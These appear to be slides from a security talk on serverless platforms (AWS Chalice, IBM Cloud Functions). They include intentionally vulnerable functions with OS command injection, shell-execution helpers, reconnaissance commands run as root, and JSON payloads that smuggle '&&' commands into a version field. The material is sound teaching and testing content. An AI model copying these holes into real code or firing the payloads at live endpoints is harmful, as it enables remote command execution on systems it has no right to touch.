"I Accept Serverless,
I'm not sure whether it accepts me."
- serverless dylan
whoami
- Eight years in (dirt) mining operations
- Four years in AppSec specializations
- B.S. , OSCP, AWAE, GWAPT, General Assembly Data Science Bootcamp
The Point
-
Serverless != Marketing Trend
-
InfoSec 👍 📰 & 📉📰
-
Your bad code is still bad
-
g0sh1t
-
broken-whisk
-
broken-chalice
-
Serverless Manifesto Summary
- Functions as unit of deployment/scale
- Devs shouldn't "see" the server/container/VM
- Statelessness via offloaded storage
- Scales per request
- Never pay for idle
- Metrics and logging are a universal right.
Serverless Manifesto: https://www.youtube.com/watch?v=yCOgc3MRUrs
Serverless Isn't...
- Just marketing
- Lack of Servers
- BaaS
- PaaS
Serverless Is...
- Functions as a Service (FaaS)
- Opinionated Framework for Containers/Compute
- Vendor managed server stacks
- ServiceFULL
- Fundamental shift in security's value proposition
Before Serverless there was...
- Physical Servers
- Server clusters and VMs
- The cloud (IaaS)
- PaaS
Serverless rEvolution
-
2012 Ken Fromm [1]
- Then: It’s no longer “Why cloud?” or even “How cloud?”
- Now: "Where cloud?"
- 2014 - 2015:
- 2016:
- 2017:







It's damn cheap!

"After a $30K invoice in September, our AWS bill for the month of December is projected to be less than $4,000."
https://read.acloud.guru/how-going-serverless-helped-us-reduce-costs-by-70-255adb87b093
"Last and probably most significantly, the free Readability API was costing the company roughly $10,000 per month..."
"....Serving 39 Million Requests for $370/Month"
https://trackchanges.postlight.com/serving-39-million-requests-for-370-month-or-how-we-reduced-our-hosting-costs-by-two-orders-of-edc30a9a88cd


"Code doesn't talk it swears"
- serverless dylan



Tool Obsolescence
FirewallsIPS (Intrusion Prevention Systems)Legacy WAF-
RASP(Runtime Application Security Protection) -
SAST*-
Limited effectiveness
-
"This IAM role is your role and this IAM role is my role, sure, but the world is run by those that have no idea what an IAM is."
- serverless dylan

"Anybody can encrypt and manage keys. That's always been the easy way. It's not that it's so difficult to unencrypt and lose keys; it's just that there's nothing, absolutely nothing, that we say that's actually worth encrypting."
- serverless dylan

I became interested in PHP because I had to make it somehow.
- serverless dylan


"Patching a server makes hideous sounds."
- serverless dylan
Increase Specialization
- DAST (Dynamic Application Security Testing)
- + Manual Assessments (Power to the People)
- + Least Privilege IAM Policy
- + SCA (Software Composition Analysis)
-
= 💪 Stack
Yesterday, stored the logs in memory, tomorrow splunk is supposed to help me.
- serverless dylan


"'All the money you save will never buy back your soul."
- serverless dylan
"Function Level RBAC appeals to me because of the negative space it allows. It can shut you out or shut you in. And in some ways there is no difference"
- serverless dylan

Event Sources...are complex? ¯\_(ツ)_/¯ - Ory Segal (puresec.io)

g0sh1t
zeit.co - now



g0sh1t
import (
"bytes"
// .....................
"os/exec"
"strings"
)
// Run string as os/exec command, use accordingly
// Special thanks to: https://github.com/wickett/lambhack
func Run(cmd string) string {
// ......................
args := append(commands[:0], commands[1:]...)
c := exec.Command(command, args...)
// ......................
return out.String()
}
zeit.co build




Broken
Whisk
Shenanigans
IBM Cloud Functions (based on Apache OpenWhisk) is a Function-as-a-Service (FaaS) platform which executes functions in response to incoming events and costs nothing when not in use."
Apache OpenWhisk is a serverless, open source cloud platform that executes functions in response to events at any scale.
IBM Cloud Functions

IBM Cloud Functions
- Actions and Web Actions
- Triggers
- Sequences



broken-whisk
# Action
import sys
from os import popen
def main(dict):
out = str(popen("whoami").read())
return {"message":out}
# OUTPUT
{
"message": "root\n"
}
broken-whisk
# Action
import sys
from os import popen
def main(dict):
address = dict["address"]
out = str(popen("cat /etc/*-release").read())
return {"message":out}
# OUTPUT
PRETTY_NAME="Debian GNU/Linux 8 (jessie)"
NAME="Debian GNU/Linux"
VERSION_ID="8"
VERSION="8 (jessie)"
ID=debiannHOME_URL="http://www.debian.org/"
SUPPORT_URL="http://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
Findings...
- Already root
- No wget, curl, nc etc...
- Commodity/scripted attacks
- No apparent caching?

Broken
Chalice
Shenanigans
Chalice
-
Python Serverless Microframework for AWS
- A command line tool for creating, deploying, and managing your app
- A familiar and easy to use API for declaring views in python code
- Automatic IAM policy generation
# $ pip install chalice
# $ chalice new-project helloworld
# $ cd helloworld
# $ cat app.py
from chalice import Chalice
app = Chalice(app_name="helloworld")
@app.route("/")
def index():
return {"👋": "🌎"}
# $ chalice deploy
...
https://endpoint/dev
$ curl https://endpoint/api
{"👋": "🌎"}
-
A simple vulnerable Flask application.
- Python code injection
- Operating System command injection
Python deserialization of arbitrary data (pickle)XXE injection
def rp(command):
return popen(command).read()
################################################
# os command injection
@app.route('/lookup', methods = ['POST', 'GET'])
def lookup():
address = None
if request.method == 'POST':
address = request.form['address']
return """
<html>
<body>""" + "Result:\n<br>\n" + (rp("nslookup " + address).replace('\n', '\n<br>') if address else "") + """
<form action = "/lookup" method = "POST">
<p><h3>Enter address to lookup</h3></p>
<p><input type = 'text' name = 'address'/></p>
<p><input type = 'submit' value = 'Lookup'/></p>
</form>
</body>
</html>
"""
- Low-effort vulnerable chalice app
- USE WITH CAUTION
- Take no responsibility for AWS repercussions
# Command Execution
@app.route('/trial-balloon-art', methods=['POST'])
def getTrialBalloonArt():
if request.method == 'POST':
version = app.current_request.json_body['version']
print("version equals: "+version)
sigsciBalloon = "https://dl.signalsciences.net/trial-balloon/{}/art".format(version)
out = rp("curl {}".format(sigsciBalloon))
return out
curl -i -s -k -X $'POST' \
-H $'Host: muz3lx8vbc.execute-api.us-west-1.amazonaws.com' \
-H $'Content-Type: application/json'\
--data-binary $'{\"version\":\"0.0.9\"}\x0d\x0a' \
$'https://muz3lx8vbc.execute-api.us-west-1.amazonaws.com/api/trial-balloon-art'

{"version":"0.0.9 && echo 'issaLASummitX' > /tmp/sprkyco.txt \
&& stat /tmp/sprkyco.txt"}

{"version":"0.0.9 && cat /tmp/sprkyco.txt"}

Take Serverless Serious
Learn to Dev
Special Thanks

whoami
